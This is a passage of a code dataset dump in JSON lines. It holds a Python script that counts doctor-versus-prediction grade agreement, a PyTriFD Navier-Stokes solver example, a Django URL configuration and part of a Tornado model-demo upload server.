if(str(mpl)==str(2)):\n            otllatw=otllatw+1\n        if(str(mpl)==str(3)):\n            otllath=otllath+1\n        if(str(mpl)==str(4)):\n            otllaf=otllaf+1\t\n\t\t\t\n    if(str(z[0][16])==str(2)):\n        llatw=llatw+1\n        if(str(mpl)==str(0)):\n            twtllaz=twtllaz+1\n        if(str(mpl)==str(1)):\n            twtllao=twtllao+1\n        if(str(mpl)==str(2)):\n            twtllatw=twtllatw+1\n        if(str(mpl)==str(3)):\n            twtllath=twtllath+1\n        if(str(mpl)==str(4)):\n            twtllaf=twtllaf+1\t\n\t\t\t        \n    if(str(z[0][16])==str(3)):\n        llath=llath+1\n        if(str(mpl)==str(0)):\n            thtllaz=thtllaz+1\n        if(str(mpl)==str(1)):\n            thtllao=thtllao+1\n        if(str(mpl)==str(2)):\n            thtllatw=thtllatw+1\n        if(str(mpl)==str(3)):\n            thtllath=thtllath+1\n        if(str(mpl)==str(4)):\n            thtllaf=thtllaf+1\t\n\t\t\t\n    if(str(z[0][16])==str(4)):\n        llaf=llaf+1\n        if(str(mpl)==str(0)):\n            ftllaz=ftllaz+1\n        if(str(mpl)==str(1)):\n            ftllao=ftllao+1\n        if(str(mpl)==str(2)):\n            ftllatw=ftllatw+1\n        if(str(mpl)==str(3)):\n            ftllath=ftllath+1\n        if(str(mpl)==str(4)):\n            ftllaf=ftllaf+1\t\n        \n    # right point    \n    if(str(z[0][18])==str(0)):\n        rlaz=rlaz+1\n        if(str(mpr)==str(0)):\n            ztrlaz=ztrlaz+1\n        if(str(mpr)==str(1)):\n            ztrlao=ztrlao+1\n        if(str(mpr)==str(2)):\n            ztrlatw=ztrlatw+1\n        if(str(mpr)==str(3)):\n            ztrlath=ztrlath+1\n        if(str(mpr)==str(4)):\n            ztrlaf=ztrlaf+1\n\t\t\t\n    if(str(z[0][18])=='O'):\n        ro=ro+1\n        \n\t\t\t\n    if(str(z[0][18])==str(1)):\n        rlao=rlao+1\t\n        if(str(mpr)==str(0)):\n            otrlaz=otrlaz+1\n        if(str(mpr)==str(1)):\n            otrlao=otrlao+1\n        if(str(mpr)==str(2)):\n            otrlatw=otrlatw+1\n        if(str(mpr)==str(3)):\n            otrlath=otrlath+1\n        if(str(mpr)==str(4)):\n           otrlaf=otrlaf+1\n\t\t\t\n    if(str(z[0][18])==str(2)):\n        rlatw=rlatw+1 \n        if(str(mpr)==str(0)):\n            twtrlaz=twtrlaz+1\n        if(str(mpr)==str(1)):\n            twtrlao=twtrlao+1\n        if(str(mpr)==str(2)):\n            twtrlatw=twtrlatw+1\n        if(str(mpr)==str(3)):\n            twtrlath=twtrlath+1\n        if(str(mpr)==str(4)):\n            twtrlaf=twtrlaf+1\n\t\t\t       \n    if(str(z[0][18])==str(3)):\n        rlath=rlath+1\n        if(str(mpr)==str(0)):\n            thtrlaz=thtrlaz+1\n        if(str(mpr)==str(1)):\n            thtrlao=thtrlao+1\n        if(str(mpr)==str(2)):\n            thtrlatw=thtrlatw+1\n        if(str(mpr)==str(3)):\n            thtrlath=thtrlath+1\n        if(str(mpr)==str(4)):\n            thtrlaf=thtrlaf+1\n\t\t\t\n    if(str(z[0][18])==str(4)):\n        rlaf=rlaf+1\n        if(str(mpr)==str(0)):\n            ftrlaz=ftrlaz+1\n        if(str(mpr)==str(1)):\n            ftrlao=ftrlao+1\n        if(str(mpr)==str(2)):\n            ftrlatw=ftrlatw+1\n        if(str(mpr)==str(3)):\n            ftrlath=ftrlath+1\n        if(str(mpr)==str(4)):\n            ftrlaf=ftrlaf+1\n    \n            \n    print('\\n')\nwith open('./compare.txt','a') as f:\n    f.write('left marked 0 of doctor :' + str(llaz)) # doctor 0 left\n    f.write('\\n')\n    f.write('left marked 0 of predict :' + str(ztllaz))\n    f.write('\\n')\n    f.write('left marked 1 of predict :' + str(ztllao))\n    f.write('\\n')\n    f.write('left marked 2 of predict :' + str(ztllatw))\n    f.write('\\n')\n    f.write('left marked 3 of predict :' + str(ztllath))\n    f.write('\\n')\n    f.write('left marked 4 of predict :' + str(ztllaf))\n    f.write('\\n')\n    f.write('\\n')\n    \n    f.write('left marked o of doctor :' + str(lo)) # doctor o left\n    f.write('\\n')\n    f.write('\\n')\n    \n    f.write('left marked 1 of doctor :' + str(llao)) # doctor 1 left\n    f.write('\\n')\n    f.write('left marked 0 of predict :' + str(otllaz))\n    f.write('\\n')\n    f.write('left marked 1 of predict :' + str(otllao))\n    f.write('\\n')\n    f.write('left marked 2 of predict :' + str(otllatw))\n    f.write('\\n')\n    f.write('left marked 3 of predict :' + str(otllath))\n    f.write('\\n')\n    f.write('left marked 4 of predict :' + str(otllaf))\n    f.write('\\n')\n    f.write('\\n')\n    \n    f.write('left marked 2 of doctor :' + str(llatw)) # doctor 2 left\n    f.write('\\n')\n    f.write('left marked 0 of predict :' + str(twtllaz))\n    f.write('\\n')\n    f.write('left marked 1 of predict :' + str(twtllao))\n    f.write('\\n')\n    f.write('left marked 2 of predict :' + str(twtllatw))\n    f.write('\\n')\n    f.write('left marked 3 of predict :' + str(twtllath))\n    f.write('\\n')\n    f.write('left marked 4 of predict :' + str(twtllaf))\n    f.write('\\n')\n    f.write('\\n')\n    \n    f.write('left marked 3 of doctor :' + str(llath)) # doctor 3 left\n    f.write('\\n')\n    f.write('left marked 0 of predict :' + str(thtllaz))\n    f.write('\\n')\n    f.write('left marked 1 of predict :' + str(thtllao))\n    f.write('\\n')\n    f.write('left marked 2 of predict :' + str(thtllatw))\n    f.write('\\n')\n    f.write('left marked 3 of predict :' + str(thtllath))\n    f.write('\\n')\n    f.write('left marked 4 of predict :' + str(thtllaf))\n    f.write('\\n')\n    f.write('\\n')\n    \n    f.write('left marked 4 of doctor :' + str(llaf)) # doctor 4 left\n    f.write('\\n')\n    f.write('left marked 0 of predict :' + str(ftllaz))\n    f.write('\\n')\n    f.write('left marked 1 of predict :' + str(ftllao))\n    f.write('\\n')\n    f.write('left marked 2 of predict :' + str(ftllatw))\n    f.write('\\n')\n    f.write('left marked 3 of predict :' + str(ftllath))\n    f.write('\\n')\n    f.write('left marked 4 of predict :' + str(ftllaf))\n    f.write('\\n')\n    f.write('\\n')\n    f.write('\\n')\n    \n    f.write('right marked 0 of doctor :' + str(rlaz)) #doctor 0 right\n    f.write('\\n')\n    f.write('right marked 0 of predict :' + str(ztrlaz))\n    f.write('\\n')\n    f.write('right marked 1 of predict :' + str(ztrlao))\n    f.write('\\n')\n    f.write('right marked 2 of predict :' + str(ztrlatw))\n    f.write('\\n')\n    f.write('right marked 3 of predict :' + str(ztrlath))\n    f.write('\\n')\n    f.write('right marked 4 of predict :' + str(ztrlaf))\n    f.write('\\n')\n    f.write('\\n')\n    \n    f.write('right marked o of doctor :' + str(ro)) #doctor o right\n    f.write('\\n')\n    f.write('\\n')\n    \n    f.write('right marked 1 of doctor :' + str(rlao)) #doctor 1 right\n    f.write('\\n')\n    f.write('right marked 0 of predict :' + str(otrlaz))\n    f.write('\\n')\n    f.write('right marked 1 of predict :' + str(otrlao))\n    f.write('\\n')\n    f.write('right marked 2 of predict :' + str(otrlatw))\n    f.write('\\n')\n    f.write('right marked 3 of predict :' + str(otrlath))\n    f.write('\\n')\n    f.write('right marked 4 of predict :' + str(otrlaf))\n    f.write('\\n')\n    f.write('\\n')\n    \n    f.write('right marked 2 of doctor :' + str(rlatw)) #doctor 2 right\n    f.write('\\n')\n    f.write('right marked 0 of predict :' + str(twtrlaz))\n    f.write('\\n')\n    f.write('right marked 1 of predict :' + str(twtrlao))\n    f.write('\\n')\n    f.write('right marked 2 of predict :' + str(twtrlatw))\n    f.write('\\n')\n    f.write('right marked 3 of predict :' + str(twtrlath))\n    f.write('\\n')\n    f.write('right marked 4 of predict :' + str(twtrlaf))\n    f.write('\\n')\n    f.write('\\n')\n    \n    f.write('right marked 3 of doctor :' + str(rlath)) #doctor 3 right\n    f.write('\\n')\n    f.write('right marked 0 of predict :' + str(thtrlaz))\n    f.write('\\n')\n    f.write('right marked 1 of predict :' + str(thtrlao))\n    f.write('\\n')\n    f.write('right marked 2 of predict :' + str(thtrlatw))\n    f.write('\\n')\n    f.write('right marked 3 of predict :' + str(thtrlath))\n    f.write('\\n')\n    f.write('right marked 4 of predict :' + str(thtrlaf))\n    f.write('\\n')\n    f.write('\\n')\n    \n    f.write('right marked 4 of doctor :' + str(rlaf)) #doctor 4 right\n    f.write('\\n')\n    f.write('right marked 0 of predict :' + str(ftrlaz))\n    f.write('\\n')\n    f.write('right marked 1 of predict :' + str(ftrlao))\n    f.write('\\n')\n    f.write('right marked 2 of predict :' + str(ftrlatw))\n    f.write('\\n')\n    f.write('right marked 3 of predict :' + str(ftrlath))\n    f.write('\\n')\n    f.write('right marked 4 of predict :' + str(ftrlaf))\n    f.write('\\n')\n\n","sub_path":"1827.py","file_name":"1827.py","file_ext":"py","file_size_in_byte":9938,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"234875983","text":"#! /usr/bin/env python\n# -*- coding: utf-8 -*-\nfrom PyTriFD import FD\nimport numpy.ma as ma\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport time as ttt\nimport warnings\n\nwarnings.filterwarnings(\"ignore\")\n\nclass TwoDimDiffusion(FD):\n\n    def residual_operator(self, my_field_overlap):\n\n        #print (\"entered compute residual\")\n        u = my_field_overlap[::2]\n        v = my_field_overlap[1::2]\n        p = my_field_overlap[2::2]\n\n        ### Solutions from the previsou step\n        u_n = self.solution_n[:self.dofs_size]\n        v_n = self.solution_n[self.dofs_size:2*self.dofs_size]\n        #p_n = self.solution_n[2::self.nodal_dofs]\n\n        residual = np.zeros_like(my_field_overlap[:self.num_owned])\n\n        residual_eq1 = residual[:self.dofs_size]\n        residual_eq2 = residual[self.dofs_size:2*self.dofs_size]\n        residual_eq3 = residual[2*self.dofs_size:]\n        print (\"setup is ready\")\n\n        ## Material Properties\n        ## at 15C\n        rho = 1.225\n        viscosity = 1.8e-5\n        visc_sum = 2*(viscosity/rho)\n\n        u_state = ma.masked_array(u[self.my_neighbors]\n            -u[:self.num_owned_neighb,None], mask=self.my_neighbors.mask)\n        v_state = ma.masked_array(v[self.my_neighbors]\n            -v[:self.num_owned_neighb,None], mask=self.my_neighbors.mask)\n        p_state = ma.masked_array(p[self.my_neighbors]\n            -p[:self.num_owned_neighb,None], mask=self.my_neighbors.mask)\n        print (\"1\")\n\n        upwind_indicator = np.sign(self.my_ref_pos_state_x * u[:self.num_owned_neighb,np.newaxis] +self.my_ref_pos_state_y *\\\n                         v[:self.num_owned_neighb,np.newaxis])\n        print (\"2\")\n\n        ### equation 1, x-direction\n        grad_u_x = self.gamma * self.omega * u_state * (self.my_ref_pos_state_x) * self.ref_mag_state_invert\n        grad_u_x = np.where(upwind_indicator > 0, 0.0, grad_u_x)\n        integ_grad_u_x = (grad_u_x * self.my_volumes[self.my_neighbors]).sum(axis=1)\n        grad_u_y = self.gamma * self.omega * u_state * (self.my_ref_pos_state_y) * self.ref_mag_state_invert\n        grad_u_y = np.where(upwind_indicator > 0, 0.0, grad_u_y)\n        integ_grad_u_y = (grad_u_y * self.my_volumes[self.my_neighbors]).sum(axis=1)\n        term_1_x = u[:self.num_owned_neighb] * integ_grad_u_x + v[:self.num_owned_neighb] * integ_grad_u_y\n\n        laplace_u_x = self.beta * self.omega * visc_sum * (u_state)*(self.my_ref_pos_state_x **2)*(self.ref_mag_state_invert)\n        term_2_x = (laplace_u_x * self.my_volumes[self.my_neighbors]).sum(axis=1)\n\n        grad_p = self.gamma * self.omega * p_state * \\\n            (self.my_ref_pos_state_x) * self.ref_mag_state_invert\n        term_3_x = (1/rho) * (grad_p * self.my_volumes[self.my_neighbors]).sum(axis=1)\n        residual_eq1 = ((u[:self.num_owned_neighb] - u_n) / self.time_step) + term_3_x + term_1_x - term_2_x\n        print (\"residual 1 calculated\")\n\n        ### equation 2, y-direction\n        grad_v_x = self.gamma * self.omega * v_state * (self.my_ref_pos_state_x) * self.ref_mag_state_invert\n        grad_v_x = np.where(upwind_indicator > 0, 0.0, grad_v_x)\n        integ_grad_v_x = (grad_v_x * self.my_volumes[self.my_neighbors]).sum(axis=1)\n        grad_v_y = self.gamma * self.omega * v_state * (self.my_ref_pos_state_y) * self.ref_mag_state_invert\n        grad_v_y = np.where(upwind_indicator > 0, 0.0, grad_v_y)\n        integ_grad_v_y = (grad_v_y * self.my_volumes[self.my_neighbors]).sum(axis=1)\n        term_1_y = u[:self.num_owned_neighb] * integ_grad_v_x + v[:self.num_owned_neighb] * integ_grad_v_y\n        laplace_v_x = self.beta * self.omega * visc_sum * (v_state)*(self.my_ref_pos_state_y **2)*(self.ref_mag_state_invert)\n        term_2_y = (laplace_v_x * self.my_volumes[self.my_neighbors]).sum(axis=1)\n        grad_p = self.gamma * self.omega * p_state * \\\n            (self.my_ref_pos_state_x) * self.ref_mag_state_invert\n        term_3_y = (1/rho) * (grad_p * self.my_volumes[self.my_neighbors]).sum(axis=1)\n        residual_eq2 = ((v[:self.num_owned_neighb] - v_n) / self.time_step) + term_3_y + term_1_y - term_2_y\n        print (\"residual 2 calculated\")\n\n\n\n        ### equation 3, incompressibility\n        grad_u_x = self.gamma * self.omega * u_state * (self.my_ref_pos_state_x) * self.ref_mag_state_invert\n        integ_grad_u_x = (grad_u_x * self.my_volumes[self.my_neighbors]).sum(axis=1)\n        grad_v_y = self.gamma * self.omega * v_state * (self.my_ref_pos_state_y) * self.ref_mag_state_invert\n        integ_grad_v_y = (grad_v_y * self.my_volumes[self.my_neighbors]).sum(axis=1)\n        residual_eq3 = integ_grad_u_x + integ_grad_v_y\n        print (\"residual 3 calculated\")\n        #print (\"Calculation is complete\")\n\n\n\n        #print (\"exiting compute residual\")\n        residual[:self.dofs_size] = residual_eq1[:]\n        residual[self.dofs_size:2*self.dofs_size] = residual_eq2[:]\n        residual[2*self.dofs_size:] = residual_eq3[:]\n        return residual\n\n    def plot_solution(self):\n\n        nodes = self.get_nodes_on_rank0()\n        all_variables = self.get_solution_on_rank0()\n        nodes = self.get_nodes_on_rank0()\n        u = all_variables[::self.nodal_dofs]\n        v = all_variables[1::self.nodal_dofs]\n        solution = self.get_solution()\n        u_sol = solution[::2]\n        v_sol=solution[1::2]\n        my_x = nodes[::2][:self.num_owned_neighb]\n        my_y = nodes[1::2][:self.num_owned_neighb]\n        if self.rank == 0:\n            plt.scatter(my_x,my_y,c=u)\n            plt.show()\n            plt.scatter(my_x,my_y,c=v)\n            plt.show()\n\n        \"\"\"\n        v_on_proc = v[:self.num_owned]\n        my_mid_nodes_min = np.where(self.my_nodes[1] > 0.49 )\n        my_mid_nodes_max = np.where(self.my_nodes[1] < 0.51 )\n        my_mid_nodes = np.intersect1d(my_mid_nodes_min,my_mid_nodes_max)\n        p_mid = self.solution_n[::2][my_mid_nodes]\n        s_mid = self.solution_n[1::2][my_mid_nodes]\n        #s_min = v[my_mid_nodes]\n        x_mid = self.my_nodes[0][my_mid_nodes]\n        y_mid = self.my_nodes[1][my_mid_nodes]\n\n        plt.plot(x_mid,p_mid)\n        #plt.plot(x_mid,s_mid)\n        plt.show()\n        #pressure = all_variables[2::self.nodal_dofs]\n        \"\"\"\n\n        bounds = \\\n            self.inputs['discretization']['tensor product grid']['bounds']\n        delta = \\\n            self.inputs['discretization']['tensor product grid']['delta']\n\n        xmin, xmax = bounds[0]\n        xnodes = int((xmax - xmin) / delta[0]) + 1\n\n\n        if self.rank == 0:\n            fig, ax = plt.subplots()\n            p = ax.contourf(nodes[0].reshape(-1,xnodes),\n                            nodes[1].reshape(-1,xnodes),\n                            u.reshape(-1,xnodes))\n            ax.set_aspect('equal')\n            fig.colorbar(p)\n            plt.savefig(\"graphs/\"+ \"x_\" + str(self.current_i)+\".png\")\n\n\n        if self.rank == 0:\n            fig, ax = plt.subplots()\n            p = ax.contourf(nodes[0].reshape(-1,xnodes),\n                            nodes[1].reshape(-1,xnodes),\n                            v.reshape(-1,xnodes))\n            ax.set_aspect('equal')\n            fig.colorbar(p)\n            plt.savefig(\"graphs/\"+ \"Y_\" + str(self.current_i)+\".png\")\n\n\nif __name__ == \"__main__\":\n\n    problem = TwoDimDiffusion('inputs.yml')\n    problem.solve()\n    problem.plot_solution()\n\n","sub_path":"examples/two_dim_diffusion/NS.py","file_name":"NS.py","file_ext":"py","file_size_in_byte":7295,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"164952166","text":"from django.conf.urls import patterns, url\n\nfrom requestManager import views\n\nurlpatterns = patterns('',\n    url(r'^$', views.reqManager, name='request'),\n    url(r'^(?P<resource_id>\\d+)/$', views.detail, name='detail'),\n    url(r'^(?P<pk>[0-9]+)/edit/$', views.edit, name='edit'),\n    url(r'^create/$', views.createRequest, name='create'),\n    url(r'^success/$', views.createSuccess, name='createSuccess'),\n    url(r'^search/$', views.search, name='search'),\n)","sub_path":"requestManager/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":461,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"353932323","text":"# -*- coding: UTF-8 -*-\n# @Time    : 18-4-27\n# @File    : demo_server.py\n# @Author  : jian<jian@mltalker.com>\nfrom __future__ import division\nfrom __future__ import unicode_literals\nfrom __future__ import print_function\n\nimport tornado.httpserver\nimport tornado.ioloop\nimport tornado.options\nfrom tornado.options import define, options\nfrom tornado import web, gen\nfrom tornado import httpclient\nimport tornado.web\nfrom antgo.utils import logger\nimport os\nimport zmq\nimport shutil\nimport json\nimport numpy as np\nfrom antgo.utils.fs import *\nfrom antgo.utils.encode import *\nfrom PIL import Image\nimport imageio\nimport uuid\nimport signal\nfrom zmq.eventloop import future\nfrom ..utils.serialize import loads,dumps\nfrom antgo.crowdsource.utils import *\nimport functools\n\n\nclass BaseHandler(tornado.web.RequestHandler):\n  @property\n  def demo_name(self):\n    return self.settings.get('demo_name', '-')\n\n  @property\n  def demo_type(self):\n    return self.settings.get('demo_type', '-')\n\n  @property\n  def demo_description(self):\n    return self.settings.get('demo_description',{})\n\n  @property\n  def demo_dump(self):\n    return self.settings.get('demo_dump', '')\n\n  @property\n  def demo_support_user_upload(self):\n    return self.settings.get('support_user_upload', True)\n\n  @property\n  def demo_support_user_input(self):\n    return self.settings.get('support_user_input', True)\n\n  @property\n  def demo_support_user_interaction(self):\n    return self.settings.get('support_user_interaction', False)\n\n  @property\n  def demo_support_user_comment(self):\n    return self.settings.get('support_user_comment', False)\n\n  @property\n  def html_template(self):\n    return self.settings['html_template']\n  \n  @property\n  def db(self):\n    return self.settings['db']\n  \n  @property\n  def port(self):\n    return self.settings['port']\n\n  @property\n  def demo_constraint(self):\n    constraint = self.settings.get('support_user_constraint', '')\n    constraint_terms = constraint.split(';')\n\n    user_demo_constraint = {}\n    for ct in constraint_terms:\n      if len(ct) == 0:\n        continue\n\n      k,v = ct.split(':')\n      if k == 'file_type':\n        user_demo_constraint['file_type'] = v.split(',')\n      elif k == 'file_size':\n        if len(v) > 0:\n          user_demo_constraint['file_size'] = int(v)\n\n    return user_demo_constraint\n\n  @property\n  def zmq_client_socket(self):\n    return self.settings['zmq_client_socket']\n\n  def _transfer(self, data_key, data_value, data_type, demo_response):\n    if data_type == 'IMAGE':\n      if os.path.exists(data_value):\n        data = os.path.normpath(data_value)\n        shutil.copy(data, os.path.join(self.demo_dump, 'static', 'output'))\n        demo_response['DATA'].update({data_key: {'DATA': '/static/output/%s' % data.split('/')[-1], 'TYPE': 'IMAGE'}})\n    elif data_type == 'VIDEO':\n      if os.path.exists(data_value):\n        data = os.path.normpath(data_value)\n        shutil.copy(data, os.path.join(self.demo_dump, 'static', 'output'))\n        demo_response['DATA'].update({data_key: {'DATA': '/static/output/%s' % data.split('/')[-1], 'TYPE': 'VIDEO'}})\n    elif data_type == 'AUDIO':\n      if os.path.exists(data_value):\n        data = os.path.normpath(data_value)\n        shutil.copy(data, os.path.join(self.demo_dump, 'static', 'output'))\n        demo_response['DATA'].update({data_key: {'DATA': '/static/output/%s' % data.split('/')[-1], 'TYPE': 'AUDIO'}})\n    elif data_type == 'FILE':\n      if os.path.exists(data_value):\n        data = os.path.normpath(data_value)\n        shutil.copy(data, os.path.join(self.demo_dump, 'static', 'output'))\n        demo_response['DATA'].update({data_key: {'DATA': '/static/output/%s' % data.split('/')[-1], 'TYPE': 'FILE'}})\n    else:\n      # string\n      demo_response['DATA'].update({data_key: {'DATA': str(data_value), 'TYPE': 'STRING'}})\n\n    return demo_response\n\n  def preprocess_model_server(self, data, data_type):\n    if data_type == 'URL' or data_type == 'PATH':\n      data_path = os.path.normpath(data)\n      data_name = data_path.split('/')[-1]\n      ext_name = data_path.split('/')[-1].split('.')[-1].lower()\n\n      if ext_name in ['jpg', 'jpeg', 'png', 'bmp', 'gif']:\n        return data_path, data_name, 'IMAGE'\n      elif ext_name in ['mp4', 'avi']:\n        return data_path, data_name, 'VIDEO'\n      elif ext_name in ['txt']:\n        return data_path, data_name, 'FILE'\n      else:\n        # TODO: support video and sound\n        logger.warn('dont support file type %s' % ext_name)\n        return None, None, None\n    else:\n      return data, str(uuid.uuid4()), 'STRING'\n\n  def postprocess_model_server(self, uuid_flag, demo_result):\n    demo_predict = None\n    demo_predict_additional = []\n    if type(demo_result) == list or type(demo_result) == tuple:\n      demo_predict, demo_predict_additional = demo_result[0:2]\n    else:\n      demo_predict = demo_result\n\n    # build output folder (static/output)\n    if not os.path.exists(os.path.join(self.demo_dump, 'static', 'output')):\n      os.makedirs(os.path.join(self.demo_dump, 'static', 'output'))\n\n    demo_response = {'DATA': {}}\n    if demo_predict['DATA'] is not None and demo_predict['TYPE'] is not None:\n      demo_response = self._transfer('RESULT', demo_predict['DATA'], demo_predict['TYPE'], demo_response)\n    else:\n      demo_response = {'DATA': {'RESULT': {'DATA':'', 'TYPE': 'STRING'}}}\n\n    for data in demo_predict_additional:\n      data_type = data['TYPE']\n      data_value = None\n      data_key = None\n      for k,v in data.items():\n        if k != 'TYPE':\n          data_key = k\n          data_value = v\n          break\n\n      if data_key is not None and data_value is not None:\n        demo_response = self._transfer(data_key, data_value, data_type, demo_response)\n\n    return demo_response\n\n    \nclass IndexHandler(BaseHandler):\n  def get(self):\n    image_history_data = []\n    history_folder = os.path.join(self.demo_dump, 'static', 'input')\n    if os.path.exists(history_folder):\n      for f in os.listdir(history_folder):\n        ext_name = f.split('.')[-1]\n        if ext_name.lower() in ['jpg', 'jpeg', 'png', 'gif']:\n          image_history_data.append('/static/input/%s'%f)\n    \n    input_filter = ''\n\n    if 'file_type' in self.demo_constraint:\n      for support_format in self.demo_constraint['file_type']:\n        if support_format.lower() in ['jpg', 'jpeg', 'png', 'gif']:\n          input_filter += 'image/%s,'%support_format.lower()\n        elif support_format.lower() in ['mp4']:\n          input_filter += 'video/%s,'%support_format.lower()\n        elif support_format.lower() in ['mp3', 'wav']:\n          input_filter += 'audio/%s,'%support_format.lower()\n        else:\n          input_filter += '%s,'%support_format.lower()\n\n    if len(input_filter) > 0:\n      input_filter = input_filter[0:-1]\n    else:\n      input_filter = '*'\n\n    self.render(self.html_template, demo={'name': self.demo_name,\n                                          'type': self.demo_type,\n                                          'description': self.demo_description,\n                                          'upload': self.demo_support_user_upload,\n                                          'upload_accept': input_filter,\n                                          'input': self.demo_support_user_input,\n                                          'image_history': image_history_data})\n\n\nclass ClientQueryHandler(BaseHandler):\n  def _file_download(self,file_name, response):\n    download_path = os.path.join(self.demo_dump, 'static', 'input', file_name)\n    with open(download_path, \"wb\") as f:\n        f.write(response.body)\n\n  @gen.coroutine\n  def post(self):\n    # 0.step check support status\n    if not self.demo_support_user_upload:\n      self.set_status(500)\n      self.write(json.dumps({'code': 'InvalidSupport', 'message': 'demo dont support upload'}))\n      self.finish()\n      return\n\n    upload_path = os.path.join(self.demo_dump, 'static', 'input')\n    if not os.path.exists(upload_path):\n      os.makedirs(upload_path)\n\n    # 1.step parse query data\n    model_datas = []\n    model_data_names = []\n    model_data_types = []\n    request_param = None\n\n    data = self.get_argument('DATA', None)\n    data_type = self.get_argument('DATA_TYPE', None)\n    if data is not None and data_type is not None:\n      if data_type == 'URL':\n        # download data from url\n        http_client = httpclient.AsyncHTTPClient()\n        file_name = os.path.normpath(data).split('/')[-1]\n        if file_name == '':\n          file_name = '%s'%str(uuid.uuid4())\n        file_download_func = functools.partial(self._file_download, file_name)\n        yield http_client.fetch(data, callback=file_download_func)\n\n        file_path = os.path.join(self.demo_dump, 'static', 'input', file_name)\n        if 'file_size' in self.demo_constraint:\n          max_file_size = self.demo_constraint['file_size']\n          fsize = os.path.getsize(file_path) / float(1024 * 1024)\n          if round(fsize,2) > max_file_size:\n            self.set_status(400)\n            self.write(json.dumps({'code': 'InvalidImageSize', 'message': 'The input file size is too large (>%f MB)'%float(max_file_size)}))\n            self.finish()\n            return\n\n        # 2.step check file format\n        if 'file_type' in self.demo_constraint:\n          is_ok, file_path = check_file_types(file_path, self.demo_constraint['file_type'])\n          if not is_ok:\n            self.set_status(400)\n            self.write(json.dumps({'code': 'InvalidImageFormat', 'message': 'The input file is not in a valid image format that the service can support'}))\n            self.finish()\n            return\n\n        # DATA_TYPE, DATA, TASK_NAME, TASK_TYPE\n        model_data, model_data_name, model_data_type = self.preprocess_model_server(file_path, data_type)\n        if model_data is None:\n          self.set_status(500)\n          self.write(json.dumps({'code': 'InvalidIO', 'message': 'couldnt parse data'}))\n          self.finish()\n          return\n\n        model_datas.append(model_data)\n        model_data_names.append(model_data_name)\n        model_data_types.append(model_data_type)\n    else:\n      if len(self.request.files) == 0:\n        self.set_status(400)\n        self.write(json.dumps({'code': 'InvalidUploadFile', 'message': 'The input file is not uploaded correctly'}))\n        self.finish()\n        return\n\n      file_paths = []\n      file_names = []\n      for _, meta in self.request.files.items():\n        _file_name = '%s_%s' % (str(uuid.uuid4()), meta[0]['filename'])\n        _file_path = os.path.join(upload_path, _file_name)\n\n        with open(_file_path, 'wb') as fp:\n          fp.write(meta[0]['body'])\n\n        file_paths.append(_file_path)\n        file_names.append(_file_name)\n\n      if len(file_paths) == 0 or len(file_names) == 0:\n        self.set_status(400)\n        self.write(json.dumps({'code': 'InvalidUploadFile', 'message': 'The input file is not uploaded correctly'}))\n        self.finish()\n        return\n\n      # 2.step parse query data\n      for file_path in file_paths:\n        # check file basic infomation\n        # 1.step check file size\n        if 'file_size' in self.demo_constraint:\n          max_file_size = self.demo_constraint['file_size']\n          fsize = os.path.getsize(file_path) / float(1024 * 1024)\n          if round(fsize, 2) > max_file_size:\n            self.set_status(400)\n            self.write(json.dumps({'code': 'InvalidImageSize',\n                                   'message': 'The input file size is too large (>%f MB)' % float(max_file_size)}))\n            self.finish()\n            return\n\n        # 2.step check file format\n        if 'file_type' in self.demo_constraint:\n          is_ok, file_path = check_file_types(file_path, self.demo_constraint['file_type'])\n          if not is_ok:\n            self.set_status(400)\n            self.write(json.dumps({'code': 'InvalidImageFormat',\n                                   'message': 'The input file is not in a valid image format that the service can support'}))\n            self.finish()\n            return\n\n        try:\n          model_data, model_data_name, model_data_type = self.preprocess_model_server(file_path, 'PATH')\n        except:\n          self.set_status(400)\n          self.write(json.dumps({'code': 'InvalidDetails', 'message': 'The input file parse error'}))\n          self.finish()\n          return\n\n        if model_data is None:\n          self.set_status(400)\n          self.write(json.dumps({'code': 'InvalidDetails', 'message': 'The input file parse error'}))\n          self.finish()\n          return\n\n        model_datas.append(model_data)\n        model_data_names.append(model_data_name)\n        model_data_types.append(model_data_type)\n\n      request_param = self.get_argument('params', None)\n      if request_param is not None:\n        request_param = json.loads(request_param)\n\n    # no block\n    model_input = (model_datas, model_data_types, request_param) if len(model_datas) > 1 else (model_datas[0], model_data_types[0], request_param)\n    self.zmq_client_socket.send(dumps(model_input))\n\n    # asyn\n    result = yield self.zmq_client_socket.recv()\n    demo_result = None\n    try:\n      result = loads(result)\n      _, demo_result = result\n    except:\n      self.set_status(500)\n      self.write(json.dumps({'code': 'FailedToProcess', 'message': 'Failed to Process'}))\n      self.finish()\n      return\n\n    # data type: 'FILE', 'STRING', 'IMAGE', 'VIDEO', 'AUDIO'\n    # data:       PATH,  '',        PATH,    PATH,    PATH\n    # 5.step post process and render\n    demo_response = self.postprocess_model_server(model_data_names[0], demo_result)\n\n    if len(model_data_names) == 1:\n      demo_response['INPUT_TYPE'] = model_data_types[0]\n      if model_data_types[0] in ['FILE', 'IMAGE', 'AUDIO', 'VIDEO']:\n        demo_response['INPUT'] = '/static/input/%s' % model_data_names[0]\n      else:\n        demo_response['INPUT'] = model_datas[0]\n    else:\n      demo_response['INPUT_TYPE'] = []\n      demo_response['INPUT'] = []\n      for index in range(len(model_data_names)):\n        demo_response['INPUT_TYPE'].append(model_data_types[index])\n        if model_data_types[index] in ['FILE', 'IMAGE', 'AUDIO', 'VIDEO']:\n          demo_response['INPUT'].append('/static/input/%s' % model_data_names[index])\n        else:\n          demo_response['INPUT'].append(model_datas[index])\n\n    self.write(json.dumps(demo_response))\n    self.finish()\n\n\nclass ClientFileUploadAndProcessHandler(BaseHandler):\n  @gen.coroutine\n  def post(self):\n    # 0.step check support status\n    if not self.demo_support_user_upload:\n      self.set_status(500)\n      self.write(json.dumps({'code': 'InvalidSupport', 'message': 'demo dont support upload'}))\n      self.finish()\n      return\n\n    # 1.step receive client upload file\n    upload_path = os.path.join(self.demo_dump, 'static', 'input')\n    if not os.path.exists(upload_path):\n      os.makedirs(upload_path)\n\n    file_metas = self.request.files.get('file', None)\n    if not file_metas:\n      self.set_status(400)\n      self.write(json.dumps({'code': 'InvalidUploadFile', 'message': 'The input file is not uploaded correctly'}))\n      self.finish()\n      return\n\n    file_paths = []\n    file_names = 